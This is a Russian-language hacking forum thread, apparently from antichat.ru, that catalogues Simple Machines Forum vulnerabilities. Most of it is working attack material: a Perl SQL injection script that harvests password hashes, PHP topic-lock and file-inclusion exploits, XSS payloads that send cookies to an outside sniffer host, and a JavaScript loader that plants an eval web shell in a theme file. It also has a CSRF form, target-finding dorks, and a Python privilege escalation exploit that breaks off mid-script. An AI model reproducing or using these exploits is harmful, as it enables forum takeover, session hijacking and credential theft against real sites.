PDA

Просмотр полной версии : [Обзор уязвимостей Simple Machines Forum]


FeraS
12.08.2007, 04:38
[SMF 1.0 Beta 5 Public]
XSS
Удаленный пользователь может выполнить XSS нападение. SMF не фильтрует данные, представленные пользователем в тэге ''.

Пример:
size=expression(eval(unescape(document.URL. substring(document.URL.length-41,document.URL. length))))]Big Exploit

[SMF 1.0.4]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре 'msg'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.

Пример:
http://[target]/index.php?action=post;msg= 1%20UNION%20SELECT%20memberName, 0,passwd,0,0%20FROM%20smf_members %20WHERE%201/*;topic=8.0; sesc=[VALIDSESCIDHERE]

Эксплоит:

#!/usr/bin/perl -w
################################################## ##############################
# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
################################################## ##############################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
################################################## ##############################

use LWP::UserAgent;

if ( !$ARGV[3] )
{
print "Usage: smf.pl user pass target_uid modify_url\n";
exit;
}

print "################################################## #\n";
print "# Simple Machine Forums Modify Post SQL Injection #\n";
print "################################################## #\n";

my $user = $ARGV[0]; # your username
my $pass = $ARGV[1]; # your password
my $grab = $ARGV[2]; # the id of the target account
my $post = $ARGV[3]; # the entire url to modify a post you made
my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FRO M%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");

my $ua = new LWP::UserAgent;
$ua->agent("SMF Hash Grabber v1.0" . $ua->agent);

$ua->cookie_jar({});

print " Trying $path ...\n";

my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
$req->content_type('application/x-www-form-urlencoded');
$req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');
my $res = $ua->request($req);

print " Logging In ...\n";

# When a correct login is made, a redirect is issued, and no
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
print "[+] Successfully logged in as $user \n";
my $sid = $ua->get($path . '/index.php?action=profile;sa=account');

# We get our current session id to be used
print " Trying To Get Valid Sesc ID \n";
if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )
{
# Replace the old session parameter with the
# new one so we do not get an access denied!
my $sesc = $1;
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;

print "[+] Valid Sesc Id : $sesc\n";
print " Trying to get password hash ...\n";

my $pwn = $ua->get($post);
if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
{
print "[+] Got the password hash!\n";
print "[+] Password Hash : $1\n";
}
else
{
print "[!] Exploit Failed! Try manually verifying the vulnerability \n";
}
}
else
{
print '[!] Unable to obtain a valid sesc key!!';
exit;
}
}
else
{
print '[!] There seemed to be a problem logging you in!';
exit;
}


[SMF 1.0.5]
XSS
XSS уязвимость через BB коды.

Пример:
[^color=#e1e1e1]ghttp://re http://w onerror=img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+doc ument.cookie;this.style.display='none' and end[/color]

[SMF 1.0.6]
XSS
Уязвимость существует из-за недостаточной обработки входных данных в поле "X-Forwarded-For" HTTP заголовка. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта при просмотре злонамеренных данных с помощью "View all members".

[SMF 1.1 RC2]
Lock Topics Remote Exploit:

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
Simple Machines Forum <= 1.1.RC2 "lock"/Zend_Hash_Del_Key_Or_Index Vulnerability
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork, version specific: "Powered by SMF"
--------------------------------------------------------------------------------
');

if ($argc<6) {
print_r('
--------------------------------------------------------------------------------
Usage: php ".$argv[0]." host path user pass topic OPTIONS
host: target server (ip/hostname)
path: path to SMF
user/pass: u need a valid user account
lock: topic u want to lock
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php ".$argv[0]." localhost /smf/ user pass 4
php ".$argv[0]." localhost /smf/ user pass 3 -p81
php ".$argv[0]." localhost / user pass 7 -P1.1.1.1:80
--------------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) ';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function my_encode($my_string)
{
$encoded="";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.="chr(".ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=").";}
}
return $encoded;
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$topic=(int)$argv[5];
$port=80;
$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="user=".urlencode($user);
$data.="&passwrd=".urlencode($pass);
$data.="&cookielength=-1";
$data.="&hash_passwrd=";
$data.="&submit=Login";
$packet ="POST ".$p."index.php?action=login2 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo "cookie -> ".$cookie."\r\n";
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$sessid=$temp2[0];
echo "sessid -> ".$sessid."\r\n";
$temp=explode(";member=",$html);
$temp2=explode("\n",$temp[1]);
$uid=(int)$temp2[0];
echo "user id -> ".$uid."\r\n";

$packet="GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode('name="sc" value="',$html);
$temp2=explode("\"",$temp[1]);
$sc=$temp2[0];
echo "sc code -> ".$sc."\r\n";
$temp=explode('"num_replies" value="',$html);
$temp2=explode("\"",$temp[1]);
$replies=$temp2[0];
echo "num replies -> ".$replies."\r\n";

$hash_1="173250926";
$hash_2="266332046";

$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="topic"

'.$topic.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="subject"

I totally disagree, locked.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="icon"

xx
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="message"

I totally disagree, locked.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="notify"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="lock"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="'.$hash_1.'"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="'.$hash_2.'"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="sticky"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="move"

0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="attachment[]"; filename=""
Content-Type: application/octet-stream


-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="post"

Post
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="num_replies"

'.$replies.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="additional_options"

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="sc"

'.$sc.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="seqnum"

0
-----------------------------7d61bcd1f033e--
';

$packet="POST ".$p."index.php?action=post2;start=3;board=".$board." HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Referer: http://".$host.$path."index.php?action=post;topic=1.0;num_replies=0\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$packet= "GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"This topic is locked")) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>


(lngfile) Remote Exploit:

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
Simple Machines Forum <= 1.1 rc2 "lngfile" Zend_Hash_Del_Key_Or_Index/arbitrary
local inclusion exploit (Win boxes)
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Powered by SMF"
--------------------------------------------------------------------------------
');
/*
works against Win boxes
regardless of php.ini settings
against PHP < 4.3.3, PHP 5 < 5.1.4
*/

if ($argc<5) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path mail include OPTIONS
host: target server (ip/hostname)
path: path to SMF
mail: your email, required for activation
include: path to file you want to include
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini
php '.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini -p81
php '.$argv[0].' localhost / youremail@hotmail.com ../../../../../boot.ini -P1.1.1.1:80
--------------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) ';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$email=$argv[3];
$include=$argv[4];
$port=80;
$proxy="";

for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

srand(make_seed());
$anumber = rand(1,9999999);
$user="sun-tzu".$anumber;
$pass="sun-tzu".$anumber;
$packet ="GET ".$p."index.php?action=register HTTP/1.0\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$sessid=$temp2[0];

$data="user=".$user;
$data.="&email=".$email;
$data.="&hideEmail=1";
$data.="&passwrd1=".$pass;
$data.="&passwrd2=".$pass;
$data.="&regagree=on";
$data.="&lngfile=%2f".$include."%00";
$data.="&1412642694=1";
$data.="&850639942=1";
$data.="&regSubmit=Register";
$packet ="POST ".$p."index.php?action=register2 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Referer: http://".$host.$path."index.php?PHPSESSID=$sessid\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: $cookie\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
print_r("
now login with user: ".$user." pass: ".$pass." and you will see
".basename($include)." file at screen...
");
?>


[SMF 1.1 RC3]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "cur_cat" в сценарии Sources/ManageBoards.php во время добавления нового форума. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

[SMF 1.1.2]
XSS
Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему.

1. Уязвимость существует из-за недостаточной обработки входных данных во время создания или редактирования сообщения форума. Удаленный пользователь может внедрить в сообщение произвольный PHP сценарий и выполнить его на системе с привилегиями Web сервера.
2. Уязвимость существует из-за недостаточного механизма выбора случайных файлов в механизме звуковой CAPTCHA. Удаленный пользователь может произвести брут-форс атаку.

FeraS
12.08.2007, 04:38
[SMF 1.1.2]
XSS
Отсутствует фильтрация atachment filename

Способы эксплуатации:

1. Получение cookie
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
attachfilename<img src=. width=1 height=1 onerror=javascript:new Image().src='http://sniffsite.com/s.gif?'+document.cookie>.txt
(в адресе sniffer'a все / заменяем на /)
Получаем cookie

2. Получение web shell'a
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
name<img src=. width=1 height=1 onerror=javascript:var s=document.createElement('script');s.src='http: //site.com/smfexp.js';document.documentElement.firstChild. appendChild(s);>.txt
(все / в атрибуте src заменяем на /)
Это код простейшего динамического загрузчика скриптов
http://site.com/smfexp.js - адрес загружаемого скрипта
smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell

smfexp.js:

/*
SMF Active XSS Exploit by Cenarius
Email: ooohoow@gmail.com | Icq: 100732

Adds shell to index.php of default forum's template
*/

var shellCode = "<?php\n\n";
shellCode += "// Try to handle it with the upper level index.php. (it should know what to do.)\n";
shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1 BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n"; // @eval($_POST['cd']);
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += " include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += " exit;\n\n?>";

sendRequest("index.php", null, "GET", getSesc);

function getSesc(request) {
var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);

if(sessVerify) {
sendRequest(
"index.php?action=theme;th=1;sa=edit",
"entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
"POST", null);
}
}

function sendRequest(url, data, method, onLoadFunc) {
var request = createHttpRequest();

if(request) {
request.open(method, url, true);

if(method == "POST") {
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }

if(onLoadFunc) {
request.onreadystatechange = function() {
if(request.readyState == 4) {
onLoadFunc(request); }
}
}
request.send(data);
}
}

function createHttpRequest() {
var httpRequest = false;
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
catch(e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
try {
httpRequest = new XMLHttpRequest(); }
catch(e) {
httpRequest = false;
}
}
}
return httpRequest;
}

// EOF


По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
index.php будет содержать следующий код:
@eval($_POST['cd']);

Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
new Image().src='http://sniffsite.com/s.gif?'+document.cookie;

SanyaX
12.08.2007, 21:46
Simple Machines Forum 1.1.3 Remote Blind SQL Injection Exploit (http://milw0rm.com/exploits/4547)

#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!
# -Binary Search
# -Multi-Threaded
# -NO benchmark()'s
#
#Two SQL Injection flaws.
#Works with magic_quotes_gpc=On or Off.
#Total Bypass of SMF's SQL Injection filter.



Active-XSS in SMF <= 1.1.3 (http://forum.antichat.ru/showthread.php?t=58377)



Faq по Smf (Заливка шелла) (http://forum.antichat.ru/thread43633.html)

Elekt
12.01.2008, 22:57
[ IP-Spoofing (c) antichat.ru ]

Поддержка X_FORWARDER_FOR позволяет обходить бан, использовать краденную через XSS сессию админа в обход привязки по айпи.

Оперативно изменять Ip в X_FORWARDER_FOR вам помогут Proxomitron 4.*(http://www.proxomitron.domtech.ru/index.htm) либо Odysseus 2.*(http://www.wastelands.gen.nz/odysseus/index.php)

[ DEBUG (c) antichat.ru ]

Раскрытие информации о сервере.

Достаточно указать в урл debug=1 :

http://smf.com/index.php?debug=1


Passive XSS in SMF 1.1.4 (http://www.hackerscenter.com/archive/view.asp?id=28147)

Site.com/component/option,com_smf/Itemid,8'XSS,1/topic,1.0/
Site.com/component/option,com_smf/Itemid,5/topic,1.XSS/


phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities (http://milw0rm.com/exploits/1773)


SMF Forum Mambo Component <= 1.3.1.3 Include Vulnerability (http://milw0rm.com/exploits/2021)


eFiction <= 3.1.1 (path_to_smf) Remote File Include Vulnerabilities (http://milw0rm.com/exploits/3361)

_-Ramos-_
24.01.2008, 18:07
SMF 1.1.4 - Add User In Group [CSRF]
|| *************** ||
|| Author: phAnt0mh4ck3r ||
|| ************************* ||
|| SMF 1.1.4 - Add User In Group [CSRF] ||
|| r00tsecurity.org |b4lc4n-h4ck.org |cyber-underground.org |h4cky0u.org ||
|| __________________________________________________ ______________ ||
|_________________________________________________ ________________________|

Dork: "SMF 1.1.4"
Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4"
</html>
</head>
<body>
<form action="http://adress.com/path/index.php?action=membergroups;sa=members;group=Gro upID" method="post"
<input type="text" name="toAdd" id="toAdd" size="30" />
<input type="submit" name="add" value="Add Members" />
<input type="hidden" name="sc" value="ADMIN SESSION ID" />
</form>
</body>
</html>

Or you can use it:
forum/path/index.php?action=membergroups;sa=members;group=gro upid;toAdd=usertoadd&add=Add+Members&sc=sid

Elekt
13.03.2008, 08:22
passive XSS in SMF mod Shoutbox

Simple Machines Forum "SMF Shoutbox" Mod 1.16b-1.14

Reference: http://custom.simplemachines.org/mods/index.php?mod=412

Bug:Persistent XSS

SMF Shoutbox is a popular shoutbox mod for Simple Machines Forum.The content of a post variable used to hold the user shout is stored in the database and then displayed to the visitors without being properly filtered.So we can insert HTML or Javascript code in the database which is then displayed in the shoutbox (which is usually at the index page of the forum).
Note:the content of this variable is also stored in an html file (sbox.history.html)residing in the main folder where SMF is installed so it is possible to insert and then execute php code under some server configurations.

Vulnerable versions: 1.16b down to 1.14

Search Engines query: "powered by smf 1.1" "SMF Shoutbox"

Vuln code

-In sboxDB.php

function missinghtmlentities() fails to sanitize
input passed to the shoutbox form


Exploit

All we have to do is pass to the shoutbox form a string starting with '&#' and ending with ';'
Most sites configuration doesnt enable guest visitors to post comments so you should create an account and login in order to exploit.SMF Shoutbox is usually in the index page of the forum so you could easily exploit this issue to collect Admins and user cookies,hijack sessions,etc



Pass this string to the shoutbox

&#<script>alert(String.fromCharCode(88,83,83))</script>;

If successful every visitor of the page should see an alert saying 'XSS'


Note:

We can inject php code but the output file (sbox.history.html)has an .html extension so in order for the code to execute the server must be configured to parse .html files for php code which is not the default configuration.

blackybr
06.04.2008, 16:18
5 Способов залить шелл. https://forum.antichat.ru/thread43633.html


Кстати способ с редактированием шаблонов по сути является и универсальной читалкой файлов из админки. Льем левую тему, можно даже без файлов. Ставим ей путь "/" и юзаем до посинения читалку прибавляя не index.template.php как в вышесказанной теме, а все что угодно (/etc/passwd, /home/admin/public_html/config.php к примеру)

Там стоит фильтр только на ../ в самой переменной, но он нам и не нужен.

Elekt
23.04.2008, 00:32
Deciphering the Simple Machines Forum audio Captcha
http://securityvulns.ru/Tdocument705.html

Вкратце и по сути.

Найден новый способ обхода капча кода в SMF.
Автор существенно усовершенствовал алгоритм Шанкара, и обошел пропатченную капчу.

Фишка в недостаточной рандомизации звука каждой буквы.
Из искомого файла выделяются отдельные буквы, затем сравниваются с эталоном.

Также автор поломал капчу в PHP-Nuke ( уязвимость в недостаточной длинне парольной строки и рандомной генерации хеша) используя радужную таблицу хешей на 1 миллион комбинаций.

От себя добавлю, что используя описанный алгоритм, открываются новые возможности по обходу капчи и во многих других продуктах и сервисах, заботящихся об ущербных пользователях использующих аудио-подтверждение как тест тьюринга.

.Begemot.
16.06.2008, 11:37
Simple Machines Forum <= 1.1.4 Sql Injection Vulnerability

Уязвимость заключается в обходе слеширования addslashes() , используя мультибайтный символ "%a3%27" в кодировке "big5"


#!/usr/bin/python
"""
#================================================= ================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#================================================= ================================================#
# This was a priv8 Exploit #
#================================================= ================================================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
#====================================#===========# ====================================#===========#
# Server Configuration Requirements # # Some Information # #
#====================================# #====================================# #
# # #
# register_globals = 1 # Vendor: www.simplemachines.org #
# # Author: The:Paradox #
#================================================# Severity: N/A #
# # #
# You may find exploits updates and more # #
# explanations on => # Proud To Be Italian. #
# http://paradox.altervista.org # #
# # #
#====================================#===========# ================================================#
# Board Description # #
#====================================# #
# #
# Simple Machines Forum - SMF in short - is a free, professional grade software package that #
# allows you to set up your own online community within minutes. #
# Its powerful custom made template engine puts you in full control of the lay-out of your #
# message board and with our unique SSI - or Server Side Includes - function you can let your #
# forum and your website interact with each other. #
# SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide #
# you with all the features you need from a bulletin board while having an absolute minimal #
# impact on the resources of the server. #
# SMF is the next generation of forum software - and best of all it is and will always #
# remain completely free! #
# #
#====================================#============ ================================================#
# Proof Of Concept / Bug Explanation # #
#====================================# #
# This is a quite old exploit and it is inapplicable on 1.1.5 version and on last 2.0 pre-release #
# (that's why I decided to public it). First, let's have a little poc. #
#================================================= ================================================#

[Load.php]

148. if (isset($db_character_set) && preg_match('~^\w+$~', $db_character_set) === 1)
149. db_query("
150. SET NAMES $db_character_set", __FILE__, __LINE__);


#================================================= ================================================#
# In Load.php if $db_character_set is set Smf will execute a Set Names Sql Query. #
# Directly from dev.mysql.com let's see what it means. #
# #
# "SET NAMES indicates what character set the client will use to send SQL statements to the #
# the server. Thus, SET NAMES 'cp1251' tells the server future incoming messages from this client #
# are in character set cp1251." #
# #
# Ok, now let's see what $db_character_set is. #
# $db_character_set is a "Settings.php variable" written only if a "Non-Default tick" #
# is checked during the installation process. #
# The real vulnerability is when the "Non-Default tick" is left unchecked, Smf doesn't write #
# it in "Settings.php" and no value is assigned to it: it's possible to set it #
# via register_globals. #
# #
# Now the cool poc section =D #
# Surely you saw that preg_match avoids any injection of non-alphanumerical chars in the query #
# at line 150 in Load.php #
# So, how is possible to take advantage of that? #
# To understand this vulnerability you have to comprehend some character set presents multibyte #
# characters and they may obiate addslashes() function. #
# Addslashes simply adds a backslash (0x5c) before single quote ('), double quote ("), #
# backslash (\) and NUL (the NULL byte), without checking if the added blackslash creates #
# another char. #
# No, i'm not going mad :P Here is an example: #
# #
# Bytes in Input #
# 0xa327 #
# #
# Addslashes(Bytes in Input) #
# 0xa35c27 #
# #
# In big5, but also in other multibyte charsets, 0xa35c is a valid char: 0x27 (') is left alone. #
# Therefore a lot of smf's queries are vulnerable if $db_character_set is settable. #
# In this exploit i will inject sql code in Update syntax, increasing user's privledges. #
#================================================= ================================================#
# Exploit tested on 1.1.3 and 1.1.4 Smf's versions. #
#================================================= ================================================#
# Use this exploit at your own risk. You are responsible for your own deeds. #
#================================================= ================================================#
# Python Exploit Starts #
#================================================= ================================================#
"""
from sys import argv, exit
from httplib import HTTPConnection
from urllib import urlencode, unquote
from time import sleep
print """
#================================================= ================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
# #
# ###################################### #
# # Let's get administrator rights!!! # #
# ###################################### #
# #
# Discovered By The:Paradox #
# #
# Usage: #
# ./Exploit [Target] [Path] [PHPSessID] [Userid] #
# #
# Example: #
# ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 #
# ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 #
#================================================= ================#
"""

if len(argv)<=4: exit()


sn = "PHPSESSID" # Session cookie name. You may have to change this.
port = 80

target = argv[1]
path = argv[2]
sv = argv[3]
uid = argv[4]


class killsmf:

def __init__(self):

print "[.] Exploit Starts."

self.GetSesc()
self.CreateLabels()
self.Inject()

print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-"

def GetSesc(self):

print "[+] Trying to read Sesc"

for i in range (0,2):
conn = HTTPConnection(target,port)
conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"})
rsp = conn.getresponse()
r = rsp.read()

